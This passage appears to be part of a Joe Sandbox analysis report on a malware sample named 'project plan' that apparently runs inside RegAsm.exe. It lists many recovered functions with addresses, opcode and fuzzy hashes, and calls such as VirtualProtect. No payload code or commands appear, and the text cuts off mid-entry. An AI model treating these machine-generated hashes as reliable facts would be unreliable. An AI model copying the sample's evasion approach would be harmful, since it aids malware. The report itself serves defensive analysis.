Instruction Fuzzy Hash: 19F12731A1DB8A4FE75DAB3898251B577E1FFA6350F0401BED08AC76D3DE28AC068745

Function 00007FF848F19680 Relevance: 1.1, Instructions: 1076COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23f145fd40d55c2d68b8edc255a102f4d446fb98b90eb8b95a666dfba2e7fbce
Instruction ID: e9bd238874f9e82d01d7fb51fdb71bcda8fa7daeb3a218849ed544e288938fec
Opcode Fuzzy Hash: 23f145fd40d55c2d68b8edc255a102f4d446fb98b90eb8b95a666dfba2e7fbce
Instruction Fuzzy Hash: EB72B130A1CA098FDBA8FB289455A7977E1FF59341F5401BEE44EC72D2DF28AC418B85

Function 00007FF848F1BD90 Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9660aa3a9a1f13299f44003ae2296e2f4d4c4d520b9484911db3f72c770f658
Instruction ID: 0d397862a172b6f64345fb3f4fdd155310d1ce2be2aa77f7c6c22b9576a3bf0e
Opcode Fuzzy Hash: e9660aa3a9a1f13299f44003ae2296e2f4d4c4d520b9484911db3f72c770f658
Instruction Fuzzy Hash: 2BD15D3191CB868FE31CDB288895175B7E2FF95341F18867ED4C6C32E5DB28A846CB85

Function 00007FF848F1194D Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b31d490880e3695af6cdfc642528cb8d5fb914316a57e9ec6c7b7085d2c80c1e
Instruction ID: 0762965a7d90283a1bbcab0a2b3b6ce5c015edd20866ca565271ffea63085780
Opcode Fuzzy Hash: b31d490880e3695af6cdfc642528cb8d5fb914316a57e9ec6c7b7085d2c80c1e
Instruction Fuzzy Hash: A691B230B1C9094FE758FB2894557F977E2EF98390F640479D40EC72D7EE29AC828649

Function 00007FF848F105F0 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b53c441a5fbff2be9b7c95352ae2f4da6cc2d8d399b3bb837774de841dcd51e6
Instruction ID: 5451220dcff5c38bf3575d50b3d972d6444ae8c87d18a9b59160955e65f7d6a6
Opcode Fuzzy Hash: b53c441a5fbff2be9b7c95352ae2f4da6cc2d8d399b3bb837774de841dcd51e6
Instruction Fuzzy Hash: 6291B230B2C9094FE768FB2894557B973E6EF98381F544479D40EC72D3EF29AC828649

Function 00007FF848F24F03 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61ac3255585d7373bd89d3de9bb8f283c8633ce0d52686dcc074d13270c54201
Instruction ID: 4303db53f3446fdb6197daabbf0e200476f1d14613134ae493f6e6c32fa67732
Opcode Fuzzy Hash: 61ac3255585d7373bd89d3de9bb8f283c8633ce0d52686dcc074d13270c54201
Instruction Fuzzy Hash: 5641053160D68A0FD31E9B3898261B57BA5EB83320B1582BFD4C7CB1E7DD19A84783D5

Function 00007FF848F24F50 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7244faf19aff1df2c5d94f9dcccba2b3f4bc606f4520ba954c758a53cccb3876
Instruction ID: fbeccaf584f98c70c3dcaddb259f5dc51ae9106bd5cc58c0bff58ece553d09ac
Opcode Fuzzy Hash: 7244faf19aff1df2c5d94f9dcccba2b3f4bc606f4520ba954c758a53cccb3876
Instruction Fuzzy Hash: 6E41F63160D6890FD31EDB7888251A57FA5EB83310F1582BED4C7CB1E7DD28A80683D5

Function 00007FF848F134FA Relevance: 1.6, APIs: 1, Instructions: 140
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF848F135D1

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: eaefb768ff6a467a0bbe95ccc651be166be53d96a648f07ecbd86b2cdd204cf8
Instruction ID: 96adcacbbb4f7f2334630bca61df0aebd310f70279aaf6136dfc5963cb6c928d
Opcode Fuzzy Hash: eaefb768ff6a467a0bbe95ccc651be166be53d96a648f07ecbd86b2cdd204cf8
Instruction Fuzzy Hash: A8413B3090C7894FD719DB6898466E97FF1EF56321F0402AFD089D31D2CB686846C795

Function 00007FF848F1D212 Relevance: 1.6, APIs: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF848F286C1

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: bf7ff14a8920697df33d7eda6e179b5067f212f32e81f3bac10cd864b28923ef
Instruction ID: 101c209bf83ea44d36b22a52644a042be810b36967f0402bbca6e5a7b2a16a3a
Opcode Fuzzy Hash: bf7ff14a8920697df33d7eda6e179b5067f212f32e81f3bac10cd864b28923ef
Instruction Fuzzy Hash: 9431D63091CA1C9FDB18EF99D8466F97BE1EB55311F00422ED04AD3251CB7568468B95

Function 00007FF848F10921 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FF848F109BF

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 6eaa60c4c9c0fb77eb12c7d2106fd06d23df99574dbea57c467bcd18f1199e37
Instruction ID: 3883d6897c2138dae8e2bee8bead2c201c07f7d94d34ab28fc461de8b7c71235
Opcode Fuzzy Hash: 6eaa60c4c9c0fb77eb12c7d2106fd06d23df99574dbea57c467bcd18f1199e37
Instruction Fuzzy Hash: 3331B33190C7588FDB14DFA8D849BEA7BF0EF56320F04426FD089C3552CB68A846CB51

Function 00007FF848FF01AA Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

A, xrefs: 00007FF848FF0236

Memory Dump Source

Source File: 00000000.00000002.2172761086.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848ff0000_project plan.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: fe9b3616fc7cd7a7e1fb903a94fe538070d25073208441abba347d636ab164bd
Instruction ID: 53b975eb6dc59013f804907e8e05609cf76423031001bce6721ce181d5c6b650
Opcode Fuzzy Hash: fe9b3616fc7cd7a7e1fb903a94fe538070d25073208441abba347d636ab164bd
Instruction Fuzzy Hash: 38813A3190CA8A8FDB56FB28C8656A47BE0FF95304F1801EFD54ACB1D7DB286846C745

Function 00007FF848FF0ECD Relevance: .5, Instructions: 527COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2172761086.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848ff0000_project plan.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58d51d221d7ad09490939acbcd2ea1e4b4cfc49a84695f6b8aa1b7cf42d3a3ef
Instruction ID: eec4699a742e5e34161ed72c83d84d47bc63eb5fd4a9a129a9c04a3f8ce88cd3
Opcode Fuzzy Hash: 58d51d221d7ad09490939acbcd2ea1e4b4cfc49a84695f6b8aa1b7cf42d3a3ef
Instruction Fuzzy Hash: 07F1F77280DAC64FE757EB2888551A4BFE0FF56240F0805FFD589CB1E2E718684AC395

Function 00007FF848FF110B Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2172761086.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848ff0000_project plan.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ebefd8aaffa0d7923b854b14dd75affb97c65072574926848ceda7003e777e4
Instruction ID: ff632657b2b8743db9f25f04ab694b9264e686c284b639f4e9e4989f01245607
Opcode Fuzzy Hash: 4ebefd8aaffa0d7923b854b14dd75affb97c65072574926848ceda7003e777e4
Instruction Fuzzy Hash: 6F41113590CA8D8FEB5AEF28C8954B8BBE0FF64340F1401BBD50AD71D5DB25A885C780

Non-executed Functions

Function 00007FF848F10F90 Relevance: .5, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2172486179.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_project plan.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 022d86c3a08cb5918bcc634ae0be2e21f8b53a1bf022e49094b54bbdaaa1327f
Instruction ID: e9cdf01be34ad4d4d0656a7d33f4d1d91377667697dd50a2c61a236f9d149329
Opcode Fuzzy Hash: 022d86c3a08cb5918bcc634ae0be2e21f8b53a1bf022e49094b54bbdaaa1327f
Instruction Fuzzy Hash: 28D12631A1DA8A4FD369EBA898515717BE0FF52350F1806BED09AC71D7DB29AC43C384

Analysis Process: RegAsm.exePID: 6132, Parent PID: 1536COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.9%
Total number of Nodes:	457
Total number of Limit Nodes:	2

Executed Functions

Function 061407C8 Relevance: 3.7, Strings: 1, Instructions: 2432COMMON

Download Yara Rule

Strings

K, xrefs: 061430BB

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 6e698f4d76f7b8c323a359c9743382cb70839067597d0e5fec35a23c7a7795df
Instruction ID: dae2e90c98b582f7f85a0403676555f17611d05d846b304e91dbe68f6f379022
Opcode Fuzzy Hash: 6e698f4d76f7b8c323a359c9743382cb70839067597d0e5fec35a23c7a7795df
Instruction Fuzzy Hash: 86430630D146198EDB51EF68C854AEDFBB1FF99300F50D69AE45867221EB70AAC4CF81

Function 00F688C0 Relevance: 1.9, APIs: 1, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2b88c9006d3f8135c5b0733700d60af64f248e52d38f9161956d506d43a0ba
Instruction ID: 4c4b146a64a757c4ac2de30bac5368e14daef683822f9a4872d9f883983fb4aa
Opcode Fuzzy Hash: bf2b88c9006d3f8135c5b0733700d60af64f248e52d38f9161956d506d43a0ba
Instruction Fuzzy Hash: 7DF1E574D01218CFDB14DFA9D884B9DBBB2BF88304F54C2A9E808AB355DB749986DF50

Function 061495A8 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db3fa4ed901ec794146afdb866060a9d6d21b1fda0e8dca8c9a92c223e4d098b
Instruction ID: 0318776762306f285e3eca2524c5f0a367e2a6be3744925b7216824470d9d4f6
Opcode Fuzzy Hash: db3fa4ed901ec794146afdb866060a9d6d21b1fda0e8dca8c9a92c223e4d098b
Instruction Fuzzy Hash: 78827C74E012288FDB65DF69DD84B9DBBB2BF88300F1085EA984DA7265DB345E81CF40

Function 0614DAE8 Relevance: .7, Instructions: 693COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37a146d9ed26c9a0899d2834ebf359643d14d22f766dd2a2f29e5a5cf46d83f8
Instruction ID: 96d2e46ff489005a008ece3ebcd84bf8ac72f908566d62d61a3661bc9dec1161
Opcode Fuzzy Hash: 37a146d9ed26c9a0899d2834ebf359643d14d22f766dd2a2f29e5a5cf46d83f8
Instruction Fuzzy Hash: BF827A74E012298FDB65DF69CD94BD9BBB2BF88300F1481E9A44DA7265DB349E81CF40

Function 00F66DDF Relevance: .7, Instructions: 678COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42fbcdc13c12f612bac5d9a9e3456cdb498089db3d57274db273c4fa1d55a7f7
Instruction ID: b01e3cfa80fdb7997d0502f8e260c06f33760e063cb3e405c644b53abadfff20
Opcode Fuzzy Hash: 42fbcdc13c12f612bac5d9a9e3456cdb498089db3d57274db273c4fa1d55a7f7
Instruction Fuzzy Hash: 1A62DD74E052288FDB24DF69C884BDDBBB2BB49305F2085E9D808A7355DB30AE81DF50

Function 0614CDE8 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223311804.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6140000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec41bc59faa07ec3e3f3117602d57136c3f2f934574c6e204da3ef1356cc4f2e
Instruction ID: 4996e9349ebe575aea36975ae69dc4d66d38deb814c26c9b330cd0a6de508054
Opcode Fuzzy Hash: ec41bc59faa07ec3e3f3117602d57136c3f2f934574c6e204da3ef1356cc4f2e
Instruction Fuzzy Hash: 08727B74E012288FDB65DF69DD84BDABBB2BF88300F1481E9A44DA7265DB345E81CF41

Function 00F68E97 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbda4cf32751a0d158e61f6db36a9ce104dbd84bd2c25cb04ac8999202b9d4e0
Instruction ID: 133b22c824c50a8d8135d15d3459d1c48d8ade44985753258b36044f3a8b0b1e
Opcode Fuzzy Hash: cbda4cf32751a0d158e61f6db36a9ce104dbd84bd2c25cb04ac8999202b9d4e0
Instruction Fuzzy Hash: 57E13174E04358CFDB15DFA4C994B9DBBB2AF89304F1481AAD808AB3A5DB345E85CF50

Function 00F69841 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fccbc45588024f14fe8858497eac9d619fb39c7d205894eb433385aa11076137
Instruction ID: e99c72187c674c9ad269dc336cc3dc777d584107e23e455eab046c8be4ddbf17
Opcode Fuzzy Hash: fccbc45588024f14fe8858497eac9d619fb39c7d205894eb433385aa11076137
Instruction Fuzzy Hash: AAC1AC74E00218CFDB54DFA5D984B9DBBB6BF88304F2084AAD809AB355DB349E85DF50

Function 00F67E49 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ee66ac5a399c22423849c60888618db5d0a5919fe18959939892df09b1f4605
Instruction ID: acb24493df475526abd6fcbb6cd85dfffa05ba1626901e43532cbef79cc73395
Opcode Fuzzy Hash: 1ee66ac5a399c22423849c60888618db5d0a5919fe18959939892df09b1f4605
Instruction Fuzzy Hash: 41D1AE74E00318CFDB54DFA5D954B9DBBB2AF89300F2085AAD809AB355DB345E85DF10

Function 00F693E0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 166932619e92e936d49ebece29d67f6657154e73fdc2cd58c512f7b9ce52b94a
Instruction ID: 92342ae2f5f0abb10ed115ed20b11e386cf9a024b83bd73b093b87d2005e5785
Opcode Fuzzy Hash: 166932619e92e936d49ebece29d67f6657154e73fdc2cd58c512f7b9ce52b94a
Instruction Fuzzy Hash: E4D1AC74E00218CFDB54DFA5D984B9DBBB6EF88300F2085AAD809AB355DB349E85CF50

Function 00F69CA1 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a1acd34ce5f71c0375e58f1ae44542c21e5485b61b1bd7099854f687b008d30
Instruction ID: 1f7b4d65640004dc58ea342cb0de7796dffb6f0f8c7a47a8664a01f1ceb6861a
Opcode Fuzzy Hash: 2a1acd34ce5f71c0375e58f1ae44542c21e5485b61b1bd7099854f687b008d30
Instruction Fuzzy Hash: 72D1AE74E00218CFDB54DFA5D984B9DBBB2BF88300F2085AAD809AB355DB355E85DF50

Function 00F6A100 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220892692.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a89657dc223d69f52912af80fb961ae6c35e719ff56370b855c2481efcb671
Instruction ID: 298306723e4a82f43b872810bbfbd72dfc2a3cfc419b46ea890b8d13f301a116
Opcode Fuzzy Hash: b4a89657dc223d69f52912af80fb961ae6c35e719ff56370b855c2481efcb671
Instruction Fuzzy Hash: F4D1CF74E00218CFDB54DFA5D984B9DBBB2BF88300F2081A9D809AB365DB359E85CF50

Function 06162450 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff6d6b7b9ab56fc8b9d95471fddbc8d339f2fa95041ca164cf2de466d068e30
Instruction ID: c303218c4d57c25268479204e25bfcb3d7bf53b35028aac1f04b02d88df0b01f
Opcode Fuzzy Hash: cff6d6b7b9ab56fc8b9d95471fddbc8d339f2fa95041ca164cf2de466d068e30
Instruction Fuzzy Hash: 7AC1C174E01218CFDB54DFA5C994BADBBB2BF89300F1080A9D819AB365DB359E85CF50

Function 06160498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2dac0a16bba2f8c98a388c14f2ea807b6dc84843052cbccedc9a7f8df9ee2f9
Instruction ID: 3567a48c5a9ae81e93eb9dcff742361a40763be78064afb48dad9b61847b142b
Opcode Fuzzy Hash: b2dac0a16bba2f8c98a388c14f2ea807b6dc84843052cbccedc9a7f8df9ee2f9
Instruction Fuzzy Hash: B1C1C174E00218CFDB54DFA5C984BADBBB2BF89300F1080A9D809AB365DB359E85CF50

Function 06160040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00057fd562bf482f266211de60e72c506d3e7c0079bb074f740eba43c58aa228
Instruction ID: 44b4d52df9aedcddcfb6cb2b367a015df99adeb2130460512b7c1501cd378b0c
Opcode Fuzzy Hash: 00057fd562bf482f266211de60e72c506d3e7c0079bb074f740eba43c58aa228
Instruction Fuzzy Hash: 13C1C274E00218CFDB54DFA5D984B9DBBB2BF89304F2080A9D819AB365DB359E85CF50

Function 06162D00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5671e1a70e4df60b207609aaf6931cf12103b78ff05f7fd517b0633c77854ce4
Instruction ID: 841937875a768fd77ca9e37a97eb2ac2a8b156f994e2bb89e323944cea16a8f5
Opcode Fuzzy Hash: 5671e1a70e4df60b207609aaf6931cf12103b78ff05f7fd517b0633c77854ce4
Instruction Fuzzy Hash: E5C1C274E00218CFDB54DFA5C984BADBBB2BF89300F1085A9D819AB365DB359E85CF50

Function 061628A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6040a45adb638b1fa41ad489227a291260f9730328f9fc1fe5dcb6d0b277789
Instruction ID: 99fd93057ea2a084b362494c4be5ba8db3b7b3cada5568ed49c3f83df26a9710
Opcode Fuzzy Hash: e6040a45adb638b1fa41ad489227a291260f9730328f9fc1fe5dcb6d0b277789
Instruction Fuzzy Hash: 5EC1C074E00218CFDB54DFA5C984BADBBB2BF89300F1085A9D819AB365DB359E85CF50

Function 061608F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc83642c88fec3ab20a6c2f63ebfb58a0a39bafb627924c53e9105c7b3c6ca4a
Instruction ID: 42596905d04761c7faa8779f3c2dc6318c68f0f0e125cd4542936a45f495a0b1
Opcode Fuzzy Hash: bc83642c88fec3ab20a6c2f63ebfb58a0a39bafb627924c53e9105c7b3c6ca4a
Instruction Fuzzy Hash: B2C1C174E00218CFDB54DFA5C984B9DBBB2BF89304F2081A9D819AB355DB359E85CF50

Function 06161748 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eb88875a37f207057291836d586b5f5398f388896a8a8da28a6092cdb76ae3c
Instruction ID: a1699776e8806c42fc73915059697c0ab35c7667810f81ca8e2a9e8e7d013edc
Opcode Fuzzy Hash: 0eb88875a37f207057291836d586b5f5398f388896a8a8da28a6092cdb76ae3c
Instruction Fuzzy Hash: 2AC1D274E01218CFDB54DFA9C984BADBBB2BF89300F1084A9D808AB365DB355E85CF50

Function 061635B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a246f432e758f0f8d59a6ce70cba27d7ba6583a33c387ee1fe95458dedc60cce
Instruction ID: f03e7b4c031868e372fc297b0dec83cd3faecd3bccf34e017857ae10ee450976
Opcode Fuzzy Hash: a246f432e758f0f8d59a6ce70cba27d7ba6583a33c387ee1fe95458dedc60cce
Instruction Fuzzy Hash: F9C1C174E00218CFDB54DFA5C984BADBBB2BF89304F1081A9D819AB365DB359E85CF50

Function 06163158 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 827baf9c2d4d437feca31abb1c20852d66927e2ffc102f7b115709fd5d26432c
Instruction ID: 33b8e070e3dbac0c8efabf45401596407fc40be9f9604dd75591e48e0ddc32c0
Opcode Fuzzy Hash: 827baf9c2d4d437feca31abb1c20852d66927e2ffc102f7b115709fd5d26432c
Instruction Fuzzy Hash: 12C1C174E00218CFDB54DFA5C984BADBBB2BF89300F1085A9D819AB365DB359E85CF50

Function 06161FF8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7bdd064812b78704849df3a4de5e5b92561a2f937b79ef18b99f477f78c393a
Instruction ID: dbc587ccacd286f6b75a8659a750842cd3209fb9894532f0df53ef5de83578b7
Opcode Fuzzy Hash: e7bdd064812b78704849df3a4de5e5b92561a2f937b79ef18b99f477f78c393a
Instruction Fuzzy Hash: DDC1C274E00218CFDB54DFA5C984BADBBB2BF89300F1080A9D809AB365DB355E85CF50

Function 06161BA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3223373192.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6160000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64aed12c807fbeb16fa72692a469873055cd8e9c127ad4a4e82cac6cad74f69d
Instruction ID: 58ef25f3e661c49217a912aa1f2a924fbf4d08db4b54471fccd3210973f24b19
